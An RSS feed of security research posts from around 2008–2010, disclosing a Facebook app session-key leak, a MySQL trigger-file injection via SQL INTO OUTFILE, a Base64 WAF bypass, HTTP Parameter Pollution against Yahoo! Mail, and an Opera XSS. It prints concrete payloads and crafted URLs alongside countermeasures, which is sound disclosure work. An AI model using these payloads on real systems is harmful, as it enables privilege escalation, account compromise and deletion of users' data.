<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" 
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>My Security Planet &#187; Security Thoughts</title>
	<link>http://rgaucher.info/planet/</link>
	<description>My Security Planet &#187; Security Thoughts</description>
	<generator>Gregarius 0.5.4</generator>
	<language>en</language>
	<item>
		<title>Security Thoughts: Facebook application hole. A neverending story?</title>
		<link>http://www.wisec.it/sectou.php?id=4bcf112a5085d</link>
		<pubDate>Wed, 21 Apr 2010 11:16:00 -0500</pubDate>
		<guid>http://www.wisec.it/sectou.php?id=4bcf112a5085d</guid>
		<content:encoded><![CDATA[	It was April 11th @ 9:00 AM,some days before my Campusparty talk, and I decided to have a quick look at Facebook apps howto implementations.<br />
<br />
After some hours of trial and error I understood that an application has almost full access to user data by using <a href="http://wiki.developers.facebook.com/index.php/API">REST-Ful APIs</a>.<br />
<br />
It seems that an application just needs a key called session_key representing the user.<br />
How to get that? Redirecting the user to the facebook page (<a href="http://wiki.developers.facebook.com/index.php/Authentication_and_Authorization_for_Facebook_for_Mobile_Applications">FacebookWiki</a>):<br />
<blockquote>
  <p>
    <br />
    http://www.facebook.com/tos.php?api_key=[AppKey]&amp;moreParameters<br />
  </p>
</blockquote><br />
Which, if user has already subscribed to the application, then it redirects to :
<blockquote>
  <p>
    <br />
    http://apps.facebook.com/appPage/?session={"session_key":"2.XXXXXXXXZzHYZaBMEA__.3600.XXXX-XXXXX","uid":XXXXXX,"expires":1271016000,"secret":"XXXXXX","base_domain":"domain.com","sig":"XXXXX"}
  </p>
</blockquote><br />
The url where the user is redirected can be set in the '<i>next</i>' parameter (implied in moreParameters).<br />
Now I had to better understand what I can do and went to my favourite FaceBook hacker-superhero The Harmony Guy.<br />
Found <a href="http://theharmonyguy.com/2010/04/10/facebook-platform-vulnerability-enabled-silent-data-harvesting/">this</a>:<br />
<br />
It seems he already found something...and very big! :( Even if I don't know a thing about FBK, I was sooo near!<br />
<br />
The good^N^N^N^NBad thing is that it took me a few hours to study the environment and think about that.<br />
<br />
That's the explaination (from harmony guy link):<br />
<blockquote>
  <p>
    <br />
    "...<br />
    But the first main component of the attack involved a slight modification to<br />
    the login page URI. By adding a 'next' parameter, once can specify an<br />
    alternate landing page for authorized users. Not all applications take<br />
    advantage of this parameter, but many do. The parameter would not work<br />
    for an arbitrary site, but Facebook previously did allow any URI that began<br />
    with apps.facebook.com. Thus one could craft a login page URI that<br />
    checked whether the user had authorized one application and then<br />
    forward the user to a second application. The next part of the attack came<br />
    from adding 'return_session=1' to the login page URI. This parameter<br />
    causes Facebook to append particular session variables for the authorized<br />
    application onto the URI of the landing page - in our case, the second<br />
    application given by the 'next' parameter. That application merely has to<br />
    check its address for the session data, which provides enough information<br />
    to execute API requests using the credentials of the already authorized<br />
    application.<br />
    ..."<br />
  </p>
</blockquote><br />
Now there's something I don't understand, and that's because I'm not a Facebook hacker and because the description is not technical.<br />
They say it's fixed but if I try this request:<br />
<br />
<blockquote>
  <p>
    http://www.facebook.com/tos.php?api_key=80c6ec6628efd9a465dd223190a65bbc&amp;connect_display=popup&amp;v=1.0&amp;<b>next=../wisectest/</b>&amp;v=1.0&amp;&amp;return_session=true&amp;session_key_only=true&amp;canvas
  </p>
</blockquote><br />
using <i><b>farmville api_key</b></i> with <i>next</i> parameter set to my test application home page on apps.facebook.com, I get a redirect to:<br />
<br />
<blockquote>
  <p>
    http://apps.facebook.com/wisectest/?session={"session_key":"2.XXXXXXXXZzHYZaBMEA__.3600.XXXX-XXXXX","uid":XXXXXX,"expires":1271016000,"secret":"XXXXXX","base_domain":"farmville.com","sig":"XXXXX"}
  </p>
</blockquote><br />
<br />
After that the victim seems to be also added my fake test app transparently...<br />
<br />
<img alt="" src="http://www.wisec.it/images/AddApp.jpg" /><br />
<br />
<br />
Maybe they fixed on login.php but missed some page?...:o<br />
As usual the infamous question I asked myself a lot of times when a vuln is fixed but the technique has not been understood.<br />
How come that after the "theharmonyguy" post no one @facebook got a deep analysis?<br />
Maybe complexity is a bad dwarf when dealing with security, but what about applying Secure-SLDC, I mean, really.<br />
<br />
Just for sake of user privacy protection, I'd suggest to use different Browsers or Firefox Plugins.<br />
<ul>
  <li>Use Chrome for your every day browsing<br />
  </li>
  <li>Use (at least) multiple profiles on Firefox for your favorite categories<br />
    <ul>
      <li>Firefox -P private<br />
      </li>
      <li>Firefox -P banking<br />
      </li>
      <li>Firefox -P pr0n<br />
      </li>
      <li>Firefox -P whatever
      </li>
    </ul><br />
    and, of course use <a href="http://noscript.net/">NoScript</a>! ;)<br />
    <br />
  </li>
</ul><br />
<br />
Nota Bene:<br />
I also found some site publishing Xss on facebook applications by simply searching on google...and they still work!<br />
Hey Mr. Facebook would you care doing a Google search?<br />
A hint: "facebook applications security bugs" on bigG.<br /> ]]></content:encoded>
</item>
<item>
		<title>Security Thoughts: MySQL Stacked Queries with SQL Injection...sort of</title>
		<link>http://www.wisec.it/sectou.php?id=4bced661462bd</link>
		<pubDate>Wed, 21 Apr 2010 07:38:00 -0500</pubDate>
		<guid>http://www.wisec.it/sectou.php?id=4bced661462bd</guid>
		<content:encoded><![CDATA[	Security experts know that is possible to inject stacked queries on Microsoft SQL Server, when dealing with SQL Injections but not on other DBMS.<br />
<br />
In the next few lines we'll describe a new technique that could allow an attacker to insert or update data also when there is a SQL Injection on select queries.<br />
The most known attack also implemented on SQLMap is the takeover technique when the MySQL user has File Privileges and the DBMS is on the same server of the exposed web application.<br />
What to do when the DBMS host is on a different server?<br />
<br />
Something can be done by abusing Triggers.<br />
MySQL supports Triggers since 5.0.2.<br />
In MySQL, Triggers are wrote as a separate file on the same directory of the Database data dir.<br />
It needs two files:<br />
<ul>
  <li>/mysql/datadir/DB/TableName.TRG
  </li>
  <li>/mysql/datadir/DB/TriggerName.TRN
  </li>
</ul><br />
Suppose now that a `user` table exists on users DB.<br />
So run mysql client and create the following trigger:<br />
<blockquote>
  <p>
    <br />
    mysql&gt; delimiter //<br />
    mysql&gt; CREATE trigger atk after insert on user for each row<br />
    -&gt; begin<br />
    -&gt; update user set isadmin=1 where isadmin=0;<br />
    -&gt; end//<br />
    mysql&gt; delimiter ;<br />
  </p>
</blockquote><br />
We can see that two files were created in data directory of users DB:<br />
/var/lib/mysql/users/atk.TRN<br />
<blockquote>
  <p>
    <br />
    TYPE=TRIGGERNAME<br />
    trigger_table=user<br />
  </p>
</blockquote><br />
and /var/lib/mysql/users/user.TRG
<blockquote>
  <p>
    <br />
    TYPE=TRIGGERS<br />
    triggers='CREATE DEFINER=`root`@`localhost` trigger atk after insert on user for each rownbeginnupdate user set isadmin=1 where isadmin=0;nend'<br />
    sql_modes=0<br />
    definers='root@localhost'<br />
    client_cs_names='latin1'<br />
    connection_cl_names='latin1_swedish_ci'<br />
    db_cl_names='latin1_swedish_ci'<br />
  </p>
</blockquote><br />
<br />
What happens if we successfully write user.TRG and atk.TRN in /var/lib/mysql/users/users.TRG using INTO OUTFILE ?<br />
<blockquote>
  <p>
    <br />
    AND 1=0 union select 'TYPE=TRIGGERS' into outfile<br />
    '/var/lib/mysql/users/user.TRG' LINES TERMINATED BY '\ntriggers='CREATE<br />
    DEFINER=`root`@`localhost` trigger atk after insert on user for each row\nbegin<br />
    \nupdate user set isadmin=0 where<br />
    isadmin=1;\nend'sql_modes=0ndefiners='root@localhost'nclient_cs_names='l<br />
    atin1'nconnection_cl_names='latin1_swedish_ci'ndb_cl_names='latin1_swedi<br />
    sh_ci'n';<br />
  </p>
</blockquote><br />
Then do the same to create atk.TRN<br />
<blockquote>
  <p>
    <br />
    TYPE=TRIGGERNAME<br />
    trigger_table=user<br />
  </p>
</blockquote><br />
MySQL will check if a TRG extension is present and will execute the trigger.<br />
So, in this scenery, after a user registration every user will be an admin... and Stored Xss like Frame Injection could be accomplished as well.<br />
Also some privilege escalation could probably be done since the DEFINER keyword says to MySQL the user on behalf the trigger should be executed.<br />
<br />
Another interesting thing about this attack is that we can try fuzzing<br />
<ul>
  <li>tabname.MYD
  </li>
  <li>tabname.MYI
  </li>
  <li>tabname.frm
  </li>
</ul>and of course<br />
<ul>
  <li>tabname.TRG
  </li>
  <li>triggername.TRN
  </li>
</ul><br />
file format and try to exploit the file format parsers.<br />
I found some crash on TRG which doesn't seem to be exploitable, but who knows..further research could result in exploitable parser errors on those file formats.<br /> ]]></content:encoded>
</item>
<item>
		<title>Security Thoughts: Fooling B64_Encode(Payload) on WAFs and filters</title>
		<link>http://www.wisec.it/sectou.php?id=4bced57a5181b</link>
		<pubDate>Wed, 21 Apr 2010 07:24:00 -0500</pubDate>
		<guid>http://www.wisec.it/sectou.php?id=4bced57a5181b</guid>
		<content:encoded><![CDATA[	When dealing with Web Application Firewall, IDSs or application filters trying to block attacks there are always two big problem:
<ul>
  <li>Completeness
  </li>
  <li>Correctness
  </li>
</ul>We know Regexp could be faulty, but let's suppose there's some sort of encoding in the payload which is furtherly decoded on some server side layer and then used in clear text to pass it to another layer.<br />
A good defense should be to let the WAF/Filter decode it and check for attack patterns (using regexp..).<br />
Now the question is how can I implement a decoder to get the input back in clear?<br />
Let's talk about Base64.<br />
<br />
Base64 encoding and decoding are implemented in many ways and many languages.<br />
For example PHP base64_decode() is:<br />
<ul>
  <li>Very greedy.
  </li>
  <li>Goes ahead even if something goes wrong
  </li>
</ul><br />
Even some Java Implementation is kind of greedy:<br />
com.sun.org.apache.xerces.internal.impl.dv.util.Base64<br />
<br />
public static byte[] decode(String paramString) {<br />
if (paramString == null) {<br />
return null;<br />
}<br />
char[] arrayOfChar = paramString.toCharArray();<br />
int i = removeWhiteSpace(arrayOfChar);<br />
<br />
<br />
The question is: How to rely on WAF or filters controls if they miss some behaviour?<br />
<br />
NoScript checks for Base64 encoded Xss.<br />
ModSecurity implements Base64 decoding using the following rule:<br />
<br />
SecRule ARGS:b64 "alert" "t:base64decode,log,deny,status:501"<br />
<br />
So the following payload is caught by both:<br />
b64_encode("&lt;script&gt;alert(1)&lt;/script&gt;");<br />
<br />
PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==<br />
<br />
Mod_Security:<br />
<a href="http://3.bp.blogspot.com/_pkzXyh452W0/S87BDRmJDAI/AAAAAAAAAAk/DxcVPi92dgk/s1600/b64_modsec.jpg"><img src="http://3.bp.blogspot.com/_pkzXyh452W0/S87BDRmJDAI/AAAAAAAAAAk/DxcVPi92dgk/s400/b64_modsec.jpg" alt="" /></a><br />
NoScript:<br />
<a href="http://4.bp.blogspot.com/_pkzXyh452W0/S87BUPhn-bI/AAAAAAAAAAs/BLuMZfkI3Zg/s1600/b65_noscript.jpg"><img src="http://4.bp.blogspot.com/_pkzXyh452W0/S87BUPhn-bI/AAAAAAAAAAs/BLuMZfkI3Zg/s400/b65_noscript.jpg" alt="" /></a><br />
<br />
<br />
But since the real decoder is on another layer, let's try with PHP's decoder using the illegal character '.':<br />
<br />
P.HNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==<br />
<br />
Here's what happens:<br />
<br />
<a href="http://1.bp.blogspot.com/_pkzXyh452W0/S87BdInE-vI/AAAAAAAAAA0/GAgng0U7RDI/s1600/b64_bypass.jpg"><img src="http://1.bp.blogspot.com/_pkzXyh452W0/S87BdInE-vI/AAAAAAAAAA0/GAgng0U7RDI/s400/b64_bypass.jpg" alt="" /></a><br />
<br />
ModSecurity (v. 2.5.6-1) and NoScript (v. 1.9.9.61) are bypassed.<br />
Same happens for other illegal character.<br />
Now NoScript is fixed (v. &gt;= 1.9.9.62) and I expect ModSecurity to be fixed soon.<br />
<br />
The question still remains.<br />
How to rely on WAF or filters controls if they miss some behaviour?<br />
<br />
WAFs and IDSs are good for defense in depth.<br />
So don't rely too much on those.<br />
Apply SSDLC by implementing correct filters and controls and Test, Test, Test in your own environment!<br /> ]]></content:encoded>
</item>
<item>
		<title>Security Thoughts: HTTP Parameter Pollution FAQs</title>
		<link>http://www.wisec.it/sectou.php?id=4a157b35e8909</link>
		<pubDate>Thu, 21 May 2009 12:36:00 -0500</pubDate>
		<guid>http://www.wisec.it/sectou.php?id=4a157b35e8909</guid>
		<content:encoded><![CDATA[	We have received numerous public replies as well as several private emails.<br />
Thanks for your comments, suggestions and feedbacks.<br />
<br />
It's now time to summarize and clarify some points.<br />
<br />
<b>Q: Is this a new class of exploits or just another case of applications lacking input validation?</b><br />
<b>A:</b> Actually, HPP is an input validation flaw. As SQL Injection and XSS, we may consider it as an injection weakness.<br />
In this specific case, query string delimiters are the "dangerous" characters.<br />
<br />
<b>Q: You are saying that several HTTP back-ends manage multiple occurrences in different ways. In some cases, it may be abused in order to fingerprint the underline back-end. Is it right?</b><br />
<b>A:</b> Yes, sure. However, considering the granularity available, we don't think it is really so interesting.<br />
<b><br />
Q: This is a known attack. You guys presented a bunch of interesting but already known techniques to exploit different vulnerabilities.</b><br />
<b>A:</b> Actually, we think we have contributed (in some way) to the current state-of-art showing this issue. However, even if it is currently used by 'hard-core' attackers, it's very important to formalize a threat in order to mitigate the issue and create efficient workarounds.<br />
The aim of the entire research is to raise awareness around this problem.<br />
In future, we would like to include HPP within the OWASP Testing Guide in order to provide the right methodology for testing systems against HPP-like attacks as well.<br />
We strongly believe that sharing such knowledge may increase the security of all web applications.<br />
<br />
<b>Q: Most of your examples and findings use GET parameters. What about POST?</b><br />
<b>A:</b> POST and COOKIE parameters may be affected as well. In slide #11 and #19, we have briefly stated that and you will see further research because it is a very interesting aspect since it gives additional flexibility for all attacks.<br />
<b><br />
Q: In the current version of IE8, is the XSS Filter still vulnerable to HPP?</b><br />
<b>A:</b> No! We had a discussion with the IE XSS Filter guy at Microsoft and turns out that the current version is NOT affected. All previous tests were done against the beta release and we didn't double check the latest one. We are sorry for this misunderstanding.<br />
<br />
<b>Q: Are multiple occurrences of a parameter valid according to the RFC, W3C, whatever?</b><br />
<b>A:</b> Yes! Yes! The only thing which in fact was worth mentioning is the lack of standard in the _management_ of multiple occurrences and NOT the presence of multiple occurrences themselves.<br />
After all, that's why it is possible to abuse the query string delimiters injection flaw.<br />
<br />
<b>Q: Is Yahoo! Mail still vulnerable to HPP?</b><br />
<b>A:</b> Difficult to say. However, the specific issue was patched thus it cannot be abused by malicious users.<br />
<br />
<b>Q: Could you provide additional details regarding the Yahoo! Classic Mail HPP attack?</b><br />
<b>A:</b> I've just published <a href="http://blog.mindedsecurity.com/2009/05/client-side-http-parameter-pollution.html">here</a> an in-depth review of the issue with the video PoC as well.<br />
<br />
<b>Q: What's the right way of managing multiple occurrences? Is there a 'perfect' framework?</b><br />
<b>A:</b> No, there are no right o wrong behaviors as well as we cannot refer to a right or wrong web servers/web frameworks. The behavior of the HTTP back-ends is a matter of exploitability, only.<br />
<br />
<b>Q: HPP is only about WAFs bypasses?</b><br />
<b>A:</b> Absolutely not! HPP is also about applications flow manipulation, anti-CSRF, content pollution.<br />
<br />
<b>Q: How can I prevent HPP?</b><br />
<b>A:</b> First of all, answer yourself "Which layer am I protecting?".<br />
Then, speaking about HPP server side, it's always important to use URL encoding whenever you do GET/POST HTTP requests to an HTTP back-end.<br />
From the client-side point of view, use URL encoding whenever you are going to include user-supplied content within links, etc.<br />
<br />
<b>Q: Am I vulnerable to HPP?</b><br />
<b>A:</b> It depends on how you are managing several occurrences of the same parameter from the application point of view. Using strict input validation checkpoints and the right output filtering (URL encoding), you are likely secure (at least, against HPP :p).<br />
<br />
That's all (for now).<br /> ]]></content:encoded>
</item>
<item>
		<title>Security Thoughts: Client side Http Parameter Pollution - Yahoo! Classic Mail Video Poc</title>
		<link>http://www.wisec.it/sectou.php?id=4a155ba989240</link>
		<pubDate>Thu, 21 May 2009 10:41:00 -0500</pubDate>
		<guid>http://www.wisec.it/sectou.php?id=4a155ba989240</guid>
		<content:encoded><![CDATA[	As a follow up of HTTP Parameter Pollution <a href="http://blog.mindedsecurity.com/2009/05/http-parameter-pollution-new-web-attack.html">presentation</a>,<br />
I think it's time to give some details of the Yahoo! Classic Mail exploitation.<br />
That's the long version of the video we showed @ OWASP Appsec Poland 2009:<br />
Youtube LD <a href="http://www.youtube.com/watch?v=-O1y7Zy3jfc">Video</a> or Wisec HD <a href="http://www.wisec.it/Yahoo/ClientSideHPP/ClientSideHPP.html">Video</a><br />
<br />
Moreover, in order to better clarify the details of client side HPP explitation, here's an excerpt of my mail to Yahoo! security team:<br />
"...<br />
How client side HPP works?<br />
It's pretty easy, find a name value pair of HTTP parameters and append %26aaaa=aaaaa to it. Example:<br />
<blockquote>
  <p>
    <br />
    <b>http://yahoo.com?par=val%26aaaa=aaa</b><br />
  </p>
</blockquote><br />
Have a look at Html source looking for translation of %26 in &amp; or &amp; in anchors or other attributes using the url, such as:<br />
<blockquote>
  <p>
    <br />
    <b>&lt;a href="http://yahoo.com?par=val&amp;aaaa=aaa"&gt; View &lt;/a&gt;</b><br />
  </p>
</blockquote><br />
The semantic of such link changes from the function described to something else.<br />
In fact, if instead of %26aaaa=aaa the injected parameter were:<br />
<blockquote>
  <p>
    <br />
    <b>%26action=delete</b><br />
  </p>
</blockquote><br />
So, it becomes:<br />
<blockquote>
  <p>
    <br />
    <b>&lt;a href="http://yahoo.com?par=val&amp;action=delete"&gt; View &lt;/a&gt;</b><br />
  </p>
</blockquote><br />
The user considers the functionality "view", even if the real action is "delete".<br />
Obviously it strongly depends on the functionalities and the structure of the Web app...<br />
<br />
Yahoo! Classic Mail Issue<br />
I found that client side HPP is possible on some parameter in the first page of Inbox.<br />
Example:<br />
<blockquote>
  <p>
    <br />
    <b>http://it.mc257.mail.yahoo.com/mc/showFolder?fid=Inbox&amp;order=down&amp;tt=245&amp;pSize=25&amp;startMid=0</b><br />
  </p>
</blockquote><br />
has startMid which could be used as entry point for client-side HPP.<br />
Infact if we try to add %26aaaa=aaa to startMid:<br />
<blockquote>
  <p>
    <br />
    <b>http://it.mc257.mail.yahoo.com/mc/showFolder?fid=Inbox&amp;order=down&amp;tt=245&amp;pSize=25&amp;startMid=0%26aaaa=aaa</b><br />
  </p>
</blockquote><br />
Every link to listed emails, withinin inbox, expands %26 into &amp;.<br />
Specifically:<br />
<blockquote>
  <p>
    <br />
    <b>&lt;a href="http://it.mc257.mail.yahoo.com/mc/showMessage?pSize=25&amp;sMid=0&amp;fid=Inbox&amp;sort=date&amp;order=down&amp;startMid=0&amp;aaaaa=aaa&amp;filterBy=&amp;.rand=1076957714&amp;midIndex=0&amp;mid=1_62389_ALIKDNkAAJELSeg6IAXQeCc3b%2Fk&amp;f=1"&gt;An email subject &lt;/a&gt;</b><br />
  </p>
</blockquote><br />
(notice the &amp;aaaa=aaa)<br />
As a result, when the user will click on an email he will trigger the execution of a different action, as it usually happens for CSRF attacks.<br />
<br />
The proof of concept<br />
I just analyzed the application and found that 'cmd' parameter is used in order to execute a specific action.<br />
<br />
Later on, I found that:<br />
<b>cmd=fmgt.emptytrash<br /></b><br />
is the action for emptying the trashcan<br />
<br />
and that:<br />
<b>DEL=1&amp;DelFID=Inbox&amp;cmd=fmgt.delete</b><br />
<br />
forces the application to move every msg from a folder to the trashcan and then (if possible) deletes the folder.<br />
<br />
Please note that every action has anti CSRF measures so it's not possible to perform those ones from an external evil page.<br />
<br />
Then, by combining these two commands into a link using urlencoding for the first action (delete all messages) and double urlencoding for the second action (empty the trashcan) like this:<br />
<blockquote>
  <p>
    <br />
    <b>http://it.mc257.mail.yahoo.com/mc/showFolder?fid=Inbox&amp;order=down&amp;tt=245&amp;pSize=25&amp;startMid=0%2526cmd=fmgt.emptytrash%26DEL=1%26DelFID=Inbox%26cmd=fmgt.delete<br /></b>
  </p>
</blockquote><br />
when the user clicks on any message in order to read it and then click to "Back to messages", he will have every messages deleted forever..<br />
<br />
Countermeasures to Client Side HPP<br />
When creating URLs the parameters taken from the http request itself should be url encoded and not translated to Html Entities.<br />
<br />
Example (php):<br />
<blockquote>
  <p>
    <br />
    <b>&lt;a href="http://www.wisec.it/?startmid="&lt;?=urlencode($_GET['startMid'])?&gt;&amp;id=4"&gt;View&lt;/a&gt;</b><br />
  </p>
</blockquote><br />
and not:
<blockquote>
  <p>
    <br />
    <b>&lt;a href="http://www.wisec.it/?startmid="&lt;?=htmlspecialchars($_GET['startMid'])?&gt;&amp;id=4"&gt;View&lt;/a&gt;</b><br />
  </p>
</blockquote><br />
<br />
The Attack flow<br />
Let’s review, once again, the attack flow<br />
<br />
Flow #1:<br />
<br />
1. Attacker sends an email to the victim with the above link.<br />
2. User/victim clicks on the link and gets the inbox page again.<br />
3. User/victim clicks in order to see the other messages and gets every message deleted.<br />
<br />
<br />
Flow #2:<br />
<br />
1. User/victim visits a malicious page<br />
2. Attacker, after checking if the user is logged in on Yahoo!, redirects the victim on the malicious url.<br />
3. User/victim clicks in order to see the other messages and gets every message deleted.<br />
<br />
...<br />
<br />
Cheers,<br />
Stefano<br />
..."<br />
<br />
Just to be clear, this vulnerability is currently patched and it affected the Yahoo! Mail classic version only.<br />
However, it is likely to force a user to change the GUI from the brand-new mail interface to the old one.<br /> ]]></content:encoded>
</item>
<item>
		<title>Security Thoughts: Http Parameter Pollution a new web attack category (not just a new buzzword :p)</title>
		<link>http://www.wisec.it/sectou.php?id=4a129d3c810ec</link>
		<pubDate>Tue, 19 May 2009 07:06:00 -0500</pubDate>
		<guid>http://www.wisec.it/sectou.php?id=4a129d3c810ec</guid>
		<content:encoded><![CDATA[	On May 14th @ 2009<a href="http://www.owasp.org/index.php/AppSecEU09">OWASP Appsec Poland</a>, me &amp; <a href="http://www.ikkisoft.com/">Luca</a> <a href="http://blog.nibblesec.org/">Carettoni</a> presented a new attack category called Http Parameter Pollution (HPP).<br />
<br />
HPP attacks can be defined as the feasibility to override or add HTTP GET/POST parameters by injecting query string delimiters.<br />
It affects a building block of all web technologies thus server-side and client-side attacks exist.<br />
Exploiting HPP vulnerabilities, it may be possible to:<br />
<ul>
  <li style="list-style: none">
    <br />
  </li>
  <li>Override existing hardcoded HTTP parameters.<br />
  </li>
  <li>Modify the application behaviors.<br />
  </li>
  <li>Access and, potentially exploit, uncontrollable variables.<br />
  </li>
  <li>Bypass input validation checkpoints and WAFs rules.<br />
  </li>
</ul><br />
Just to whet your appetite, I can anticipate that by researching for real world HPP vulnerabilities, we found issues on some Google Search Appliance front-end scripts, Ask.com, Yahoo! Mail Classic and several other products.<br />
<br />
You can download the slides of the talk <a href="http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf">here</a> (pdf) or browse it on <a href="http://www.slideshare.net/Wisec/http-parameter-pollution-a-new-category-of-web-attacks">Slideshare</a> .<br />
<br />
Also, we'll soon release a whitepaper in order to clarify all details about HPP.<br />
<br />
As last news, in a few days the video of "Yahoo! Classic Mail" exploitation of Client Side HPP will be available on this blog.<br />
So...stay tuned and bon appetit!<br /> ]]></content:encoded>
</item>
<item>
		<title>Security Thoughts: All-In-One MultiStage Js/Html Payload</title>
		<link>http://www.wisec.it/sectou.php?id=4910a68e913f1</link>
		<pubDate>Tue, 04 Nov 2008 14:25:00 -0600</pubDate>
		<guid>http://www.wisec.it/sectou.php?id=4910a68e913f1</guid>
		<content:encoded><![CDATA[	I'm a bit lazy sometime.<br />
For instance, when I have to create two files in order to exploit^N^N^N^N^N^Nshow some kind of multi stage vulnerability,<br />
and I'd need to write two files, one for the Html and one for the Js.<br />
So I thought, how could I overcome with all this (incredible) effort?<br />
<br />
Let's think about my previous <a href="http://www.wisec.it/sectou.php?id=49102ef18b7f3">post</a> , when I released the Opera historysearch q=*Xss <a href="view-source:http://www.wisec.it/operahistory/">proof of concept</a>.<br />
Maybe (or maybe not) someone noticed some difference between standard Pocs and the Poc itself.<br />
<br />
It is a self contained Html/Js Poc, even if it is a two stage exploit.<br />
<br />
Let's see a simpler empty <a href="http://www.wisec.it/research/multistage/self.html">example</a>:<br />
<blockquote>
  <p>
    <br />
    &lt;!--<br />
    // Js payload starts here<br />
    <b>JsPayload</b><br />
    // Js payload ends here<br />
    /* Html payload Starts here<br />
    --&gt;<br />
    &lt;html&gt;<br />
    <b>[Html Here]</b><br />
    &lt;/html&gt;<br />
    &lt;!--<br />
    Html payload Ends here */<br />
    --&gt;<br />
  </p>
</blockquote><br />
As it could be seen it uses comments in order to be interpreted in different contexts, the Js one when loaded by<br />
&lt;script src='self.html'&gt;&lt;/script&gt;<br />
and the Html context when loaded from the browser.<br />
<br />
The first comment is for Html:<br />
<blockquote>
  <p>
    <br />
    <b><br />
    &lt;!--<br />
    // Js payload starts here<br />
    JsPayload<br />
    // Js payload ends here<br />
    /* Html payload Starts here<br />
    --&gt;<br /></b><br />
  </p>
</blockquote><br />
that will prevent the Html interpreter to display junk allowing to write Html in a straight forward style.<br />
<br />
The second comment is for the JavaScript one:<br />
<blockquote>
  <p>
    <br />
    <b><br />
    /* Html payload Starts here<br />
    --&gt;<br />
    &lt;html&gt;<br />
    &lt;body style='background-color: rgb(220,220,220)'&gt;<br />
    ...<br />
    &lt;!--<br />
    Html payload Ends here */<br /></b><br />
  </p>
</blockquote><br />
which will prevent the Js interpreter to raise an exception.<br />
It's multiple browser compliant, and it doesn't need to be a E4X browser compliant.<br />
<br />
<b>Q:</b> So...when I am supposed to use it?<br />
<b>A:</b>It could be used for milworm p0cs or instead of publishing/posting on FD/BGTQ/SEC_ML those boring multiple files.<br />
<b>Q:</b>Why are you so lazy?<br />
<b>A:</b>Hey...Too many questions.<br />
<br />
Yes, it's probably useless, but it reminds me some of those multilanguage/multiprocessor/multi_O-S shellcodes (with all due respect) that has been published on phrack.<br />
Finally, that's more an excercise in style than a real groundbreaking new way of doing POCs, but I thought it was worth posting about it.<br />
However any comments will be appreciated.<br /> ]]></content:encoded>
</item>
<item>
		<title>Security Thoughts: Melomania</title>
		<link>http://www.wisec.it/sectou.php?id=49102ef18b7f3</link>
		<pubDate>Tue, 04 Nov 2008 05:47:00 -0600</pubDate>
		<guid>http://www.wisec.it/sectou.php?id=49102ef18b7f3</guid>
		<content:encoded><![CDATA[	Some days ago there has been a bit of movement in the security scene since Opera 9.61 was released.<br />
Thanks to <a href="http://www.security-assessment.com/">Roberto Suggi Liverani</a> that pointed out an <a href="http://seclists.org/fulldisclosure/2008/Oct/0394.html">issue</a> on <a href="http://www.opera.com">Opera</a> historysearch feature and to <a href="kuza55.blogspot.com/">Kuza55</a><br />
for <a href="http://seclists.org/fulldisclosure/2008/Oct/0395.html">asking</a> if the problem, initially considered as "simple" data stealing, could lead to a command execution,<br />
I started thinking about the analogies with chrome Firefox implementation.<br />
<br />
After some lazy testing, I <a href="http://seclists.org/fulldisclosure/2008/Oct/0401.html">figured out</a> that same origin iframe technique could be used in order to exploit the<br />
Xss, leveraging it to Js driven configuration change.<br />
Why?<br />
Because when dealing with opera:* features the browser, in the context of same origin policy, considered<br />
the <a href="http://en.wikipedia.org/wiki/Same_origin_policy">SOP</a> matching as follows.<br />
<br />
Since SOP matching is evaluated by comparing<br />
<blockquote>
  <p>
    <br />
    <b>scheme1 + host1 + port1 == scheme2 + host2 + port2</b><br />
  </p>
</blockquote><br />
We got opera:* considered as:<br />
<blockquote>
  <p>
    <br />
    <b>opera + null + null</b><br />
  </p>
</blockquote><br />
For every opera:* feature.<br />
<br />
So by injecting an iframe from opera:historysearch and pointing to opera:config there was a match in the SOP.<br />
<br />
That is the real issue.<br />
<br />
Well, not really, that is only one of the hypotesis that have to be satisfied in order to lead to automatic command<br />
execution.<br />
The very first and interesting issue was the <a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery">CSRF</a> to opera:* location allowed using the window.open Js method<br />
from a http: scheme protocol, and that has to be credited to Roberto Suggi Liverani for finding that.<br />
<br />
The rest of the history is quite straightforward.<br />
<br />
After the issue found by Roberto I started to play a bit with the historysearch feature parameters.<br />
And it resulted in a very simple attribute-escaping-injection in the next-previous Xss.<br />
So by pointing the browser to:<br />
<blockquote>
  <p>
    <br />
    <b>opera:historysearch?q="&gt;payload&amp;p=1&amp;s=1</b><br />
  </p>
</blockquote><br />
there was the chance to exploit once again the opera:* scheme, but just if some result in the historysearch<br />
page was found.<br />
<br />
That's why the payload needs to be in the attacker evil page.<br />
<br />
The only problem was that '/' could not be used because of Opera's way of encoding/decoding them.<br />
<br />
Double urlencoding came into help. The <a href="http://seclists.org/fulldisclosure/2008/Oct/0421.html">solution</a> was using %%32f in spite of %2f.<br />
(Avif Raff's came up with '&lt;image src=x onerror=Payload' solution)<br />
<br />
And that's the full <a href="http://www.wisec.it/operahistory/">Poc</a>.<br />
<br />
So, another new "chrome" alike interface to be abused? Maybe.<br />
What is for sure is that when a browser adds new local functionalities accessible to the user, dressed as<br />
internal_scheme: with html page and internal Js methods, well, security should be taken very seriously by doing:<br />
<br />
0. Research in the history of other browsers' flaws;<br />
1. Risk Assessment in the design phase;<br />
2. Threat analysis and Abuse Cases Analysis in the design phase;<br />
3. Secure Code Review of the new features;<br />
4. Black Box Penetration Testing.<br />
<br />
And that's where Opera missed its chance.<br />
We all hope they learnt something from their history(search).<br />
<br />
Now I can say that I'm a melomaniac again.<br /> ]]></content:encoded>
</item>
<item>
		<title>Security Thoughts: More on MSA02240108 IE7 Header Overwrite</title>
		<link>http://www.wisec.it/sectou.php?id=47e40aa3cc7db</link>
		<pubDate>Fri, 21 Mar 2008 14:59:00 -0500</pubDate>
		<guid>http://www.wisec.it/sectou.php?id=47e40aa3cc7db</guid>
